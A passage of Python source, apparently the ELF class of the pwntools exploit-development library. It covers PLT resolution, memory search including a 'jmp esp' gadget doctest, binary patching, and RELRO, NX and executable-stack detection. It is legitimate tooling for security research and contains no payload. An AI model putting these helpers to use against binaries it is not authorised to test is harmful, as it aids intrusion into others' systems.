for k,v in self.got.items()}\n        inv_symbols.update({v:k for k,v in self.symbols.items()})\n\n        with context.local(arch=self.arch, bits=self.bits, endian=self.endian):\n            for section in (plt, plt_got, plt_sec, plt_mips):\n                if not section:\n                    continue\n\n                res = emulate_plt_instructions(self,\n                                                dt_pltgot,\n                                                section.header.sh_addr,\n                                                section.data(),\n                                                inv_symbols)\n\n                for address, target in sorted(res.items()):\n                    self.plt[inv_symbols[target]] = address\n\n        # for a,n in sorted({v:k for k,v in self.plt.items()}.items()):\n            # log.debug('PLT %#x %s', a, n)\n\n    def _populate_kernel_version(self):\n        if 'linux_banner' not in self.symbols:\n            return\n\n        banner = self.string(self.symbols.linux_banner)\n\n        # 'Linux version 3.18.31-gd0846ecc\n        regex = br'Linux version (\\S+)'\n        match = re.search(regex, banner)\n\n        if match:\n            version = match.group(1).decode('utf-8', 'surrogateescape')\n\n            if '-' in version:\n                version, self.build = version.split('-', 1)\n\n            self.version = tuple(map(int, version.rstrip('+').split('.')))\n\n        self.config['version'] = self.version\n\n    @property\n    def libc_start_main_return(self):\n        \"\"\":class:`int`: Address of the return address into __libc_start_main from main.\n\n        >>> bash = ELF(which('bash'))\n        >>> libc = bash.libc\n        >>> libc.libc_start_main_return > 0\n        True\n\n        Try to find the return address from main into __libc_start_main.\n        The heuristic to find the call to the function pointer of main is\n        to list all calls inside __libc_start_main, find the call to exit\n        after the call to main and select the previous call.\n        \"\"\"\n        if '__libc_start_main' not in self.functions:\n            return 0\n\n        if 'exit' not in self.symbols:\n            return 0\n\n        # If there's no delay slot, execution continues on the next instruction after a call.\n        call_return_offset = 1\n        if self.arch in ['arm', 'thumb']:\n            call_instructions = set(['blx', 'bl'])\n        elif self.arch == 'aarch64':\n            call_instructions = set(['blr', 'bl'])\n        elif self.arch in ['mips', 'mips64']:\n            call_instructions = set(['bal', 'jalr'])\n            # Account for the delay slot.\n            call_return_offset = 2\n        elif self.arch in ['i386', 'amd64', 'ia64']:\n            call_instructions = set(['call'])\n        else:\n            log.error('Unsupported architecture %s in ELF.libc_start_main_return', self.arch)\n            return 0\n\n        lines = self.functions['__libc_start_main'].disasm().split('\\n')\n        exit_addr = hex(self.symbols['exit'])\n        calls = [(index, line) for index, line in enumerate(lines) if set(line.split()) & call_instructions]\n\n        def find_ret_main_addr(lines, calls):\n            exit_calls = [index for index, line in enumerate(calls) if exit_addr in line[1]]\n            if len(exit_calls) != 1:\n                return 0\n\n            call_to_main = calls[exit_calls[0] - 1]\n            return_from_main = lines[call_to_main[0] + call_return_offset].lstrip()\n            return_from_main = int(return_from_main[ : return_from_main.index(':') ], 16)\n            return return_from_main\n\n        # Starting with glibc-2.34 calling `main` is split out into `__libc_start_call_main`\n        ret_addr = find_ret_main_addr(lines, calls)\n        # Pre glibc-2.34 case - `main` is called directly\n        if ret_addr:\n            return ret_addr\n\n        # `__libc_start_main` -> `__libc_start_call_main` -> `main`\n        # Find a direct call which calls `exit` once. That's probably `__libc_start_call_main`.\n        direct_call_pattern = re.compile(r'['+r'|'.join(call_instructions)+r']\\s+(0x[0-9a-zA-Z]+)')\n        for line in calls:\n            match = direct_call_pattern.search(line[1])\n            if not match:\n                continue\n\n            target_addr = int(match.group(1), 0)\n            # `__libc_start_call_main` is usually smaller than `__libc_start_main`, so\n            # we might disassemble a bit too much, but it's a good dynamic estimate.\n            callee_lines = self.disasm(target_addr, self.functions['__libc_start_main'].size).split('\\n')\n            callee_calls = [(index, line) for index, line in enumerate(callee_lines) if set(line.split()) & call_instructions]\n            ret_addr = find_ret_main_addr(callee_lines, callee_calls)\n            if ret_addr:\n                return ret_addr\n        return 0\n\n    def search(self, needle, writable = False, executable = False):\n        \"\"\"search(needle, writable = False, executable = False) -> generator\n\n        Search the ELF's virtual address space for the specified string.\n\n        Notes:\n            Does not search empty space between segments, or uninitialized\n            data.  This will only return data that actually exists in the\n            ELF file.  Searching for a long string of NULL bytes probably\n            won't work.\n\n        Arguments:\n            needle(bytes): String to search for.\n            writable(bool): Search only writable sections.\n            executable(bool): Search only executable sections.\n\n        Yields:\n            An iterator for each virtual address that matches.\n\n        Examples:\n\n            An ELF header starts with the bytes ``\\\\x7fELF``, so we\n            sould be able to find it easily.\n\n            >>> bash = ELF('/bin/bash')\n            >>> bash.address + 1 == next(bash.search(b'ELF'))\n            True\n\n            We can also search for string the binary.\n\n            >>> len(list(bash.search(b'GNU bash'))) > 0\n            True\n\n            It is also possible to search for instructions in executable sections.\n\n            >>> binary = ELF.from_assembly('nop; mov eax, 0; jmp esp; ret')\n            >>> jmp_addr = next(binary.search(asm('jmp esp'), executable = True))\n            >>> binary.read(jmp_addr, 2) == asm('jmp esp')\n            True\n        \"\"\"\n        load_address_fixup = (self.address - self.load_addr)\n\n        if writable:\n            segments = self.writable_segments\n        elif executable:\n            segments = self.executable_segments\n        else:\n            segments = self.segments\n        needle = packing._need_bytes(needle)\n        for seg in segments:\n            addr   = seg.header.p_vaddr\n            memsz  = seg.header.p_memsz\n            filesz = seg.header.p_filesz\n            zeroed = memsz - filesz\n            offset = seg.header.p_offset\n            data   = self.mmap[offset:offset+filesz]\n            data   += b'\\x00' * zeroed\n            offset = 0\n            while True:\n                offset = data.find(needle, offset)\n                if offset == -1:\n                    break\n                yield (addr + offset + load_address_fixup)\n                offset += 1\n        if not segments:\n            if writable:\n                ko_check_segments = [\".data\"]\n            elif executable:\n                ko_check_segments = [\".text\"]\n            else:\n                ko_check_segments = [\".text\",\".note\",\".rodata\",\".data\"]\n            pagesize = 4096\n            for section in super().iter_sections():\n                alignment = section['sh_addralign']\n                if alignment > pagesize:\n                    pagesize = alignment\n            if pagesize > 4096 and pagesize % 4096 > 0:\n                pagesize = (pagesize // 4096 + 1) * 4096\n                # I don't know how to test the pagesize; it might have issues\n            for section in super().iter_sections():\n                if section.name not in ko_check_segments and \\\n                       not any(section.name.startswith(ko_check_segment) for ko_check_segment in ko_check_segments):\n                    continue\n                filesz = section['sh_size']\n                offset = section['sh_offset']\n                data = self.mmap[offset:offset + filesz]\n                data += b'\\x00'\n                offset = 0\n                while True:\n                    offset = data.find(needle, offset)\n                    if offset == -1:\n                        break\n                    # ko_file: header->.note->.text->.rodata->.data\n                    # after insmod: text page(executable page), note and rodate page(read only page), data page(writable page)\n                    if section.name == \".text\":\n                        addr = 0\n                    elif section.name.startswith(\".note\") :\n                        text_filesz=self.get_section_by_name(\".text\")['sh_size']\n                        addr = (text_filesz//pagesize + 1)*pagesize + section['sh_offset'] - self.header['e_ehsize']\n                        addr = (text_filesz//pagesize + 1)*pagesize + section['sh_offset'] - self.header['e_ehsize']\n                    elif section.name.startswith(\".rodata\"):\n                        text_filesz=self.get_section_by_name(\".text\")['sh_size']\n                        text_offset=self.get_section_by_name(\".text\")['sh_offset']\n                        addr = (text_filesz//pagesize + 1)*pagesize + text_offset - self.header['e_ehsize']\n                    elif section.name == \".data\" :\n                        text_filesz=self.get_section_by_name(\".text\")['sh_size']\n                        rodata_filesz=0\n                        note_filesz=0\n                        for section in super().iter_sections():\n                            if section.name.startswith(\".rodata\"):\n                                rodata_filesz += section['sh_size']\n                            elif section.name.startswith(\".note\"):\n                                note_filesz += section['sh_size']\n                        addr = (text_filesz // pagesize + 1 + (note_filesz + rodata_filesz) // pagesize + 1) * pagesize\n                    yield (addr + offset + load_address_fixup)\n                    offset += 1\n\n    def offset_to_vaddr(self, offset):\n        \"\"\"offset_to_vaddr(offset) -> int\n\n        Translates the specified offset to a virtual address.\n\n        Arguments:\n            offset(int): Offset to translate\n\n        Returns:\n            `int`: Virtual address which corresponds to the file offset, or\n            :const:`None`.\n\n        Examples:\n\n            This example shows that regardless of changes to the virtual\n            address layout by modifying :attr:`.ELF.address`, the offset\n            for any given address doesn't change.\n\n            >>> bash = ELF('/bin/bash')\n            >>> bash.address == bash.offset_to_vaddr(0)\n            True\n            >>> bash.address += 0x123456\n            >>> bash.address == bash.offset_to_vaddr(0)\n            True\n        \"\"\"\n        load_address_fixup = (self.address - self.load_addr)\n\n        for segment in self.segments:\n            begin = segment.header.p_offset\n            size  = segment.header.p_filesz\n            end   = begin + size\n            if begin <= offset and offset <= end:\n                delta = offset - begin\n                return segment.header.p_vaddr + delta + load_address_fixup\n        return None\n\n    def _populate_memory(self):\n        load_segments = list(filter(lambda s: s.header.p_type == 'PT_LOAD', self.iter_segments()))\n\n        # Map all of the segments\n        for i, segment in enumerate(load_segments):\n            start = segment.header.p_vaddr\n            stop_data = start + segment.header.p_filesz\n            stop_mem  = start + segment.header.p_memsz\n\n            # Chop any existing segments which cover the range described by\n            # [vaddr, vaddr+filesz].\n            #\n            # This has the effect of removing any issues we may encounter\n            # with \"overlapping\" segments, by giving precedence to whichever\n            # DT_LOAD segment is **last** to load data into the region.\n            self.memory.chop(start, stop_data)\n\n            # Fill the start of the segment's first page\n            page_start = align_down(0x1000, start)\n            if page_start < start and not self.memory[page_start]:\n                self.memory.addi(page_start, start, None)\n\n            # Add the new segment\n            if start != stop_data:\n                self.memory.addi(start, stop_data, segment)\n\n            if stop_data != stop_mem:\n                self.memory.addi(stop_data, stop_mem, b'\\x00')\n\n            page_end = align(0x1000, stop_mem)\n\n            # Check for holes which we can fill\n            if self._fill_gaps and i+1 < len(load_segments):\n                next_start = load_segments[i+1].header.p_vaddr\n                page_next = align_down(0x1000, next_start)\n\n                if stop_mem < next_start:\n                    if page_end < page_next:\n                        if stop_mem < page_end:\n                            self.memory.addi(stop_mem, page_end, None)\n                        if page_next < next_start:\n                            self.memory.addi(page_next, next_start, None)\n                    else:\n                        self.memory.addi(stop_mem, next_start, None)\n            else:\n                if stop_mem < page_end:\n                    self.memory.addi(stop_mem, page_end, None)\n\n    def vaddr_to_offset(self, address):\n        \"\"\"vaddr_to_offset(address) -> int\n\n        Translates the specified virtual address to a file offset\n\n        Arguments:\n            address(int): Virtual address to translate\n\n        Returns:\n            int: Offset within the ELF file which corresponds to the address,\n            or :const:`None`.\n\n        Examples:\n\n            >>> bash = ELF(which('bash'))\n            >>> bash.vaddr_to_offset(bash.address)\n            0\n            >>> bash.address += 0x123456\n            >>> bash.vaddr_to_offset(bash.address)\n            0\n            >>> bash.vaddr_to_offset(0) is None\n            True\n        \"\"\"\n\n        for interval in self.memory[address]:\n            segment = interval.data\n\n            # Convert the address back to how it was when the segment was loaded\n            address = (address - self.address) + self.load_addr\n\n            # Figure out the offset into the segment\n            offset = address - segment.header.p_vaddr\n\n            # Add the segment-base offset to the offset-within-the-segment\n            return segment.header.p_offset + offset\n\n    def read(self, address, count):\n        r\"\"\"read(address, count) -> bytes\n\n        Read data from the specified virtual address\n\n        Arguments:\n            address(int): Virtual address to read\n            count(int): Number of bytes to read\n\n        Returns:\n            A :class:`bytes` object, or :const:`None`.\n\n        Examples:\n            The simplest example is just to read the ELF header.\n\n            >>> bash = ELF(which('bash'))\n            >>> bash.read(bash.address, 4)\n            b'\\x7fELF'\n\n            ELF segments do not have to contain all of the data on-disk\n            that gets loaded into memory.\n\n            First, let's create an ELF file has some code in two sections.\n\n            >>> assembly = '''\n            ... .section .A,\"awx\"\n            ... .global A\n            ... A: nop\n            ... .section .B,\"awx\"\n            ... .global B\n            ... B: int3\n            ... '''\n            >>> e = ELF.from_assembly(assembly, vma=False)\n\n            By default, these come right after eachother in memory.\n\n            >>> e.read(e.symbols.A, 2)\n            b'\\x90\\xcc'\n            >>> e.symbols.B - e.symbols.A\n            1\n\n            Let's move the sections so that B is a little bit further away.\n\n            >>> objcopy = pwnlib.asm._objcopy()\n            >>> objcopy += [\n            ...     '--change-section-vma', '.B+5',\n            ...     '--change-section-lma', '.B+5',\n            ...     e.path\n            ... ]\n            >>> subprocess.check_call(objcopy)\n            0\n\n            Now let's re-load the ELF, and check again\n\n            >>> e = ELF(e.path)\n            >>> e.symbols.B - e.symbols.A\n            6\n            >>> e.read(e.symbols.A, 2)\n            b'\\x90\\x00'\n            >>> e.read(e.symbols.A, 7)\n            b'\\x90\\x00\\x00\\x00\\x00\\x00\\xcc'\n            >>> e.read(e.symbols.A, 10)\n            b'\\x90\\x00\\x00\\x00\\x00\\x00\\xcc\\x00\\x00\\x00'\n\n            Everything is relative to the user-selected base address, so moving\n            things around keeps everything working.\n\n            >>> e.address += 0x1000\n            >>> e.read(e.symbols.A, 10)\n            b'\\x90\\x00\\x00\\x00\\x00\\x00\\xcc\\x00\\x00\\x00'\n        \"\"\"\n        retval = []\n\n        if count == 0:\n            return b''\n\n        start = address\n        stop = address + count\n\n        overlap = self.memory.overlap(start, stop)\n\n        # Create a new view of memory, for just what we need\n        memory = intervaltree.IntervalTree(overlap)\n        memory.chop(-1<<64, start)\n        memory.chop(stop, 1<<64)\n\n        if memory.begin() != start:\n            log.error(\"Address %#x is not contained in %s\" % (start, self))\n\n        if memory.end() != stop:\n            log.error(\"Address %#x is not contained in %s\" % (stop, self))\n\n        # We have a view of memory which lets us get everything we need\n        for begin, end, data in sorted(memory):\n            length = end-begin\n\n            if data in (None, b'\\x00'):\n                retval.append(b'\\x00' * length)\n                continue\n\n            # Offset within VMA range\n            begin -= self.address\n\n            # Adjust to original VMA range\n            begin += self.load_addr\n\n            # Adjust to offset within segment VMA\n            offset = begin - data.header.p_vaddr\n\n            # Adjust in-segment offset to in-file offset\n            offset += data.header.p_offset\n\n            retval.append(self.mmap[offset:offset+length])\n\n        return b''.join(retval)\n\n    def write(self, address, data):\n        \"\"\"Writes data to the specified virtual address\n\n        Arguments:\n            address(int): Virtual address to write\n            data(str): Bytes to write\n\n        Note:\n            This routine does not check the bounds on the write to ensure\n            that it stays in the same segment.\n\n        Examples:\n\n          >>> bash = ELF(which('bash'))\n          >>> bash.read(bash.address+1, 3)\n          b'ELF'\n          >>> bash.write(bash.address, b\"HELO\")\n          >>> bash.read(bash.address, 4)\n          b'HELO'\n        \"\"\"\n        offset = self.vaddr_to_offset(address)\n\n        if offset is not None:\n            length = len(data)\n            self.mmap[offset:offset+length] = data\n\n        return None\n\n    def save(self, path=None):\n        \"\"\"Save the ELF to a file\n\n        >>> bash = ELF(which('bash'))\n        >>> bash.save('/tmp/bash_copy')\n        >>> copy = open('/tmp/bash_copy', 'rb')\n        >>> bash = open(which('bash'), 'rb')\n        >>> bash.read() == copy.read()\n        True\n        \"\"\"\n        if path is None:\n            path = self.path\n        misc.write(path, self.data)\n\n    def get_data(self):\n        \"\"\"get_data() -> bytes\n\n        Retrieve the raw data from the ELF file.\n\n        >>> bash = ELF(which('bash'))\n        >>> fd   = open(which('bash'), 'rb')\n        >>> bash.get_data() == fd.read()\n        True\n        \"\"\"\n        return self.mmap[:]\n\n    @property\n    def data(self):\n        \"\"\":class:`bytes`: Raw data of the ELF file.\n\n        See:\n            :meth:`get_data`\n        \"\"\"\n        return self.mmap[:]\n\n    def disasm(self, address, n_bytes):\n        \"\"\"disasm(address, n_bytes) -> str\n\n        Returns a string of disassembled instructions at\n        the specified virtual memory address\"\"\"\n        arch = self.arch\n        if self.arch == 'arm' and address & 1:\n            arch = 'thumb'\n            address -= 1\n\n        return disasm(self.read(address, n_bytes), vma=address, arch=arch, endian=self.endian)\n\n    def asm(self, address, assembly):\n        \"\"\"asm(address, assembly)\n\n        Assembles the specified instructions and inserts them\n        into the ELF at the specified address.\n\n        This modifies the ELF in-place.\n        The resulting binary can be saved with :meth:`.ELF.save`\n        \"\"\"\n        binary = asm(assembly, vma=address, arch=self.arch, endian=self.endian, bits=self.bits)\n        self.write(address, binary)\n\n    def bss(self, offset=0):\n        \"\"\"bss(offset=0) -> int\n\n        Returns:\n            Address of the ``.bss`` section, plus the specified offset.\n        \"\"\"\n        orig_bss = self.get_section_by_name('.bss').header.sh_addr\n        curr_bss = orig_bss - self.load_addr + self.address\n        return curr_bss + offset\n\n    def __repr__(self):\n        return \"%s(%r)\" % (self.__class__.__name__, self.path)\n\n    def dynamic_by_tag(self, tag):\n        \"\"\"dynamic_by_tag(tag) -> tag\n\n        Arguments:\n            tag(str): Named ``DT_XXX`` tag (e.g. ``'DT_STRTAB'``).\n\n        Returns:\n            :class:`elftools.elf.dynamic.DynamicTag`\n        \"\"\"\n        dt      = None\n        dynamic = self.get_section_by_name('.dynamic')\n\n        if not dynamic or not isinstance(dynamic, DynamicSection):\n            return None\n\n        try:\n            dt = next(t for t in dynamic.iter_tags() if tag == t.entry.d_tag)\n        except StopIteration:\n            pass\n\n        return dt\n\n    def dynamic_value_by_tag(self, tag):\n        \"\"\"dynamic_value_by_tag(tag) -> int\n\n        Retrieve the value from a dynamic tag a la ``DT_XXX``.\n\n        If the tag is missing, returns ``None``.\n        \"\"\"\n        tag = self.dynamic_by_tag(tag)\n\n        if tag:\n            return tag.entry.d_val\n\n    def dynamic_string(self, offset):\n        \"\"\"dynamic_string(offset) -> bytes\n\n        Fetches an enumerated string from the ``DT_STRTAB`` table.\n\n        Arguments:\n            offset(int): String index\n\n        Returns:\n            :class:`str`: String from the table as raw bytes.\n        \"\"\"\n        dt_strtab = self.dynamic_by_tag('DT_STRTAB')\n\n        if not dt_strtab:\n            return None\n\n        address   = dt_strtab.entry.d_ptr + offset\n        string    = b''\n        while b'\\x00' not in string:\n            string  += self.read(address, 1)\n            address += 1\n        return string.rstrip(b'\\x00')\n\n\n\n    @property\n    def relro(self):\n        \"\"\":class:`bool`: Whether the current binary uses RELRO protections.\n\n        This requires both presence of the dynamic tag ``DT_BIND_NOW``, and\n        a ``GNU_RELRO`` program header.\n\n        The `ELF Specification`_ describes how the linker should resolve\n        symbols immediately, as soon as a binary is loaded.  This can be\n        emulated with the ``LD_BIND_NOW=1`` environment variable.\n\n            ``DT_BIND_NOW``\n\n            If present in a shared object or executable, this entry instructs\n            the dynamic linker to process all relocations for the object\n            containing this entry before transferring control to the program.\n            The presence of this entry takes precedence over a directive to use\n            lazy binding for this object when specified through the environment\n            or via ``dlopen(BA_LIB)``.\n\n            (`page 81`_)\n\n        Separately, an extension to the GNU linker allows a binary to specify\n        a PT_GNU_RELRO_ program header, which describes the *region of memory\n        which is to be made read-only after relocations are complete.*\n\n        Finally, a new-ish extension which doesn't seem to have a canonical\n        source of documentation is DF_BIND_NOW_, which has supposedly superceded\n        ``DT_BIND_NOW``.\n\n            ``DF_BIND_NOW``\n\n            If set in a shared object or executable, this flag instructs the\n            dynamic linker to process all relocations for the object containing\n            this entry before transferring control to the program. The presence\n            of this entry takes precedence over a directive to use lazy binding\n            for this object when specified through the environment or via\n            ``dlopen(BA_LIB)``.\n\n        .. _ELF Specification: https://refspecs.linuxbase.org/elf/elf.pdf\n        .. _page 81: https://refspecs.linuxbase.org/elf/elf.pdf#page=81\n        .. _DT_BIND_NOW: https://refspecs.linuxbase.org/elf/elf.pdf#page=81\n        .. _PT_GNU_RELRO: https://refspecs.linuxbase.org/LSB_3.1.1/LSB-Core-generic/LSB-Core-generic.html#PROGHEADER\n        .. _DF_BIND_NOW: https://refspecs.linuxbase.org/elf/gabi4+/ch5.dynamic.html#df_bind_now\n\n        >>> path = pwnlib.data.elf.relro.path\n        >>> for test in glob(os.path.join(path, 'test-*')):\n        ...     e = ELF(test)\n        ...     expected = os.path.basename(test).split('-')[2]\n        ...     actual = str(e.relro).lower()\n        ...     assert actual == expected\n        \"\"\"\n        if not any('GNU_RELRO' in str(s.header.p_type) for s in self.segments):\n            return None\n\n        if self.dynamic_by_tag('DT_BIND_NOW'):\n            return \"Full\"\n\n        flags = self.dynamic_value_by_tag('DT_FLAGS')\n        if flags and flags & constants.DF_BIND_NOW:\n            return \"Full\"\n\n        flags_1 = self.dynamic_value_by_tag('DT_FLAGS_1')\n        if flags_1 and flags_1 & constants.DF_1_NOW:\n            return \"Full\"\n\n        return \"Partial\"\n\n    @property\n    def nx(self):\n        \"\"\":class:`bool`: Whether the current binary uses NX protections.\n\n        Specifically, we are checking for ``READ_IMPLIES_EXEC`` being set\n        by the kernel, as a result of honoring ``PT_GNU_STACK`` in the kernel.\n\n        ``READ_IMPLIES_EXEC`` is set, according to a set of architecture specific\n        rules, that depend on the CPU features, and the presence of ``PT_GNU_STACK``.\n\n        Unfortunately, :class:`ELF` is not context-aware, so it's not always possible\n        to determine whether the process of a binary that's missing ``PT_GNU_STACK``\n        will have NX or not.\n\n        The rules are as follows:\n\n            +-----------+--------------+---------------------------+------------------------------------------------+----------+\n            | ELF arch  | linux        | GNU_STACK                 | other                                          | NX       |\n            +===========+==============+===========================+================================================+==========+\n            | i386      | < 5.8        | non-exec                  |                                                | enabled  |\n            |           | [#x86_5.7]_  +---------------------------+------------------------------------------------+----------+\n            |           |              | exec / missing            |                                                | disabled |\n            |           +--------------+---------------------------+------------------------------------------------+----------+\n            |           | >= 5.8       | exec / non-exec           |                                                | enabled  |\n            |           | [#x86_5.8]_  +---------------------------+------------------------------------------------+----------+\n            |           |              | missing                   |                                                | disabled |\n            +-----------+--------------+---------------------------+------------------------------------------------+----------+\n            | amd64     | < 5.8        | non-exec                  |                                                | enabled  |\n            |           | [#x86_5.7]_  +---------------------------+------------------------------------------------+----------+\n            |           |              | exec / missing            |                                                | disabled |\n            |           +--------------+---------------------------+------------------------------------------------+----------+\n            |           | >= 5.8       | exec / non-exec / missing |                                                | enabled  |\n            |           | [#x86_5.8]_  |                           |                                                |          |\n            +-----------+--------------+---------------------------+------------------------------------------------+----------+\n            | arm       | < 5.8        | non-exec*                 |                                                | enabled  |\n            |           | [#arm_5.7]_  +---------------------------+------------------------------------------------+----------+\n            |           |              | exec / missing            |                                                | disabled |\n            |           +--------------+---------------------------+------------------------------------------------+----------+\n            |           | >= 5.8       | exec / non-exec*          |                                                | enabled  |\n            |           | [#arm_5.8]_  +---------------------------+------------------------------------------------+----------+\n            |           |              | missing                   |                                                | disabled |\n            +-----------+--------------+---------------------------+------------------------------------------------+----------+\n            | mips      | < 5.18       | non-exec*                 |                                                | enabled  |\n            |           | [#mips_5.17]_+---------------------------+------------------------------------------------+----------+\n            |           |              | exec / missing            |                                                | disabled |\n            |           +--------------+---------------------------+------------------------------------------------+----------+\n            |           | >= 5.18      | exec / non-exec*          |                                                | enabled  |\n            |           | [#mips_5.18]_+---------------------------+------------------------------------------------+----------+\n            |           |              | missing                   |                                                | disabled |\n            +-----------+--------------+---------------------------+------------------------------------------------+----------+\n            | powerpc   | [#powerpc]_  | non-exec / exec           |                                                | enabled  |\n            |           |              +---------------------------+------------------------------------------------+----------+\n            |           |              | missing                   |                                                | disabled |\n            +-----------+--------------+---------------------------+------------------------------------------------+----------+\n            | powerpc64 | [#powerpc]_  | exec / non-exec / missing |                                                | enabled  |\n            +-----------+--------------+---------------------------+------------------------------------------------+----------+\n            | ia64      | [#ia64]_     | non-exec                  |                                                | enabled  |\n            |           |              +---------------------------+------------------------------------------------+----------+\n            |           |              | exec / missing            | e_flags & EF_IA_64_LINUX_EXECUTABLE_STACK == 0 | enabled  |\n            |           |              +                           +------------------------------------------------+----------+\n            |           |              |                           | e_flags & EF_IA_64_LINUX_EXECUTABLE_STACK != 0 | disabled |\n            +-----------+--------------+---------------------------+------------------------------------------------+----------+\n            | the rest  | [#the_rest]_ | exec / non-exec / missing |                                                | enabled  |\n            +-----------+--------------+---------------------------+------------------------------------------------+----------+\n\n            \\\\* Hardware limitations are ignored.\n\n        If ``READ_IMPLIES_EXEC`` is set, then `all readable pages are executable`__.\n\n            .. __: https://github.com/torvalds/linux/blob/v6.3/fs/binfmt_elf.c#L1008-L1009\n\n        .. code-block:: c\n\n            if (elf_read_implies_exec(loc->elf_ex, executable_stack))\n                current->personality |= READ_IMPLIES_EXEC;\n\n        .. [#x86_5.7]\n            `source <https://github.com/torvalds/linux/blob/v5.7/arch/x86/include/asm/elf.h#L285-L286>`__\n\n        .. code-block:: c\n\n            #define elf_read_implies_exec(ex, executable_stack)\t\\\\\n                (executable_stack != EXSTACK_DISABLE_X)\n\n        .. [#x86_5.8]\n            `source <https://github.com/torvalds/linux/blob/v5.8/arch/x86/include/asm/elf.h#L305-L306>`__\n\n        .. code-block:: c\n\n            #define elf_read_implies_exec(ex, executable_stack)\t\\\\\n                (mmap_is_ia32() && executable_stack == EXSTACK_DEFAULT)\n\n        `mmap_is_ia32()`__:\n\n            .. __: https://github.com/torvalds/linux/blob/v5.8/arch/x86/include/asm/elf.h#L318-L321\n\n        .. code-block:: c\n\n            /*\n             * True on X86_32 or when emulating IA32 on X86_64\n             */\n            static inline int mmap_is_ia32(void)\n\n        .. [#arm_5.7]\n            `source <https://github.com/torvalds/linux/blob/v5.7/arch/arm/kernel/elf.c#L85-L92>`__\n\n        .. code-block:: c\n\n            int arm_elf_read_implies_exec(int executable_stack)\n            {\n                if (executable_stack != EXSTACK_DISABLE_X)\n                    return 1;\n                if (cpu_architecture() < CPU_ARCH_ARMv6)\n                    return 1;\n                return 0;\n            }\n\n        .. [#arm_5.8]\n            `source <https://github.com/torvalds/linux/blob/v5.8/arch/arm/kernel/elf.c#L104-L111>`__\n\n        .. code-block:: c\n\n            int arm_elf_read_implies_exec(int executable_stack)\n            {\n                if (executable_stack == EXSTACK_DEFAULT)\n                    return 1;\n                if (cpu_architecture() < CPU_ARCH_ARMv6)\n                    return 1;\n                return 0;\n            }\n\n        .. [#mips_5.17]\n            `source <https://github.com/torvalds/linux/blob/v5.17/arch/mips/kernel/elf.c#L329-L342>`__\n\n        .. code-block:: c\n\n            int mips_elf_read_implies_exec(void *elf_ex, int exstack)\n            {\n                if (exstack != EXSTACK_DISABLE_X) {\n                    /* The binary doesn't request a non-executable stack */\n                    return 1;\n                }\n                if (!cpu_has_rixi) {\n                    /* The CPU doesn't support non-executable memory */\n                    return 1;\n                }\n                return 0;\n            }\n\n        .. [#mips_5.18]\n            `source <https://github.com/torvalds/linux/blob/v5.18/arch/mips/kernel/elf.c#L329-L336>`__\n\n        .. code-block:: c\n\n            int mips_elf_read_implies_exec(void *elf_ex, int exstack)\n            {\n                /*\n                 * Set READ_IMPLIES_EXEC only on non-NX systems that\n                 * do not request a specific state via PT_GNU_STACK.\n                 */\n                return (!cpu_has_rixi && exstack == EXSTACK_DEFAULT);\n            }\n\n        .. [#powerpc]\n            `source <https://github.com/torvalds/linux/blob/v6.3/arch/powerpc/include/asm/elf.h#L82-L108>`__\n\n        .. code-block:: c\n\n            #ifdef __powerpc64__\n            /* stripped */\n            # define elf_read_implies_exec(ex, exec_stk) (is_32bit_task() ? \\\\\n                    (exec_stk == EXSTACK_DEFAULT) : 0)\n            #else\n            # define elf_read_implies_exec(ex, exec_stk) (exec_stk == EXSTACK_DEFAULT)\n            #endif /* __powerpc64__ */\n\n        .. [#ia64]\n            `source <https://github.com/torvalds/linux/blob/v6.3/arch/ia64/include/asm/elf.h#L203-L204>`__\n\n        .. code-block:: c\n\n            #define elf_read_implies_exec(ex, executable_stack)\t\t\t\t\t\\\\\n                ((executable_stack!=EXSTACK_DISABLE_X) && ((ex).e_flags & EF_IA_64_LINUX_EXECUTABLE_STACK) != 0)\n\n        EF_IA_64_LINUX_EXECUTABLE_STACK__:\n\n            .. __: https://github.com/torvalds/linux/blob/v6.3/arch/ia64/include/asm/elf.h#L33\n\n        .. code-block:: c\n\n            #define EF_IA_64_LINUX_EXECUTABLE_STACK\t0x1\t/* is stack (& heap) executable by default? */\n\n        .. [#the_rest]\n            `source <https://github.com/torvalds/linux/blob/v6.3/include/linux/elf.h#L13>`__\n\n        .. code-block:: c\n\n            # define elf_read_implies_exec(ex, have_pt_gnu_stack)\t0\n        \"\"\"\n        if not self.executable:\n            return True\n\n        exec_bit = None\n        for seg in self.iter_segments_by_type('GNU_STACK'):\n            exec_bit = bool(seg.header.p_flags & P_FLAGS.PF_X)\n\n        non_exec = exec_bit is False\n        missing = exec_bit is None\n        EF_IA_64_LINUX_EXECUTABLE_STACK = 1\n\n        if self.arch in ['i386', 'arm', 'aarch64', 'mips', 'mips64']:\n            if non_exec:\n                return True\n            elif missing:\n                return False\n            return None\n        elif self.arch == 'amd64':\n            return True if non_exec else None\n        elif self.arch == 'powerpc':\n            return not missing\n        elif self.arch == 'powerpc64':\n            return True\n        elif self.arch == 'ia64':\n            if non_exec:\n                return True\n            return not bool(self['e_flags'] & EF_IA_64_LINUX_EXECUTABLE_STACK)\n\n        return True\n\n    @property\n    def execstack(self):\n        \"\"\":class:`bool`: Whether dynamically loading the current binary will make the stack executable.\n\n        This is based on the presence of a program header ``PT_GNU_STACK``,\n        its setting, and the default stack permissions for the architecture.\n\n        If ``PT_GNU_STACK`` is persent, the stack permissions are `set according to it`__:\n\n        .. __: https://github.com/bminor/glibc/blob/glibc-2.37/elf/dl-load.c#L1218-L1220\n\n        .. code-block:: c\n\n            case PT_GNU_STACK:\n              stack_flags = ph->p_flags;\n              break;\n\n        Else, the stack permissions are set according to the architecture defaults\n        as `defined by`__ ``DEFAULT_STACK_PERMS``:\n\n        .. __: https://github.com/bminor/glibc/blob/glibc-2.37/elf/dl-load.c#L1093-L1096\n\n        .. code-block:: c\n\n            /* On most platforms presume that PT_GNU_STACK is absent and the stack is\n             * executable.  Other platforms default to a nonexecutable stack and don't\n             * need PT_GNU_STACK to do so.  */\n            uint_fast16_t stack_flags = DEFAULT_STACK_PERMS;\n\n        By searching the source for ``DEFAULT_STACK_PERMS``, we can see which\n        architectures have which settings.\n\n        ::\n\n            $ git grep '#define DEFAULT_STACK_PERMS' | grep -v PF_X\n            sysdeps/aarch64/stackinfo.h:    #define DEFAULT_STACK_PERMS (PF_R|PF_W)\n            sysdeps/arc/stackinfo.h:        #define DEFAULT_STACK_PERMS (PF_R|PF_W)\n            sysdeps/csky/stackinfo.h:       #define DEFAULT_STACK_PERMS (PF_R|PF_W)\n            sysdeps/ia64/stackinfo.h:       #define DEFAULT_STACK_PERMS (PF_R|PF_W)\n            